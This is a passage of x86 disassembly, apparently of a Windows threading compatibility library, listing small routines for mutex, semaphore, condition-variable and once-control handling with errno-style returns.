loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 2760884h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 call near ptr 2760844h nop cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h nop call near ptr 2720000h test eax, eax jnz short loc_433ED5 nop call near ptr 27E098Ch mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 2760844h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h nop call near ptr 2720000h test eax, eax jnz short loc_433F65 call near ptr 27E098Ch nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 nop call near ptr 28502B8h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 call near ptr 27601DAh nop test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 2860000h nop test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax nop call near ptr 2790664h cmp eax, 102h jnz short loc_434125 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax call near ptr 77C49113h nop mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax call near ptr 2760000h nop test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2760000h test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax nop call near ptr 2790664h cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2760000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510940 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510940 mov ebx, 10h call near ptr 7C9010EDh nop loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0C1FCE890h, 0C0850231h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j nop call near ptr 27507C8h cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call 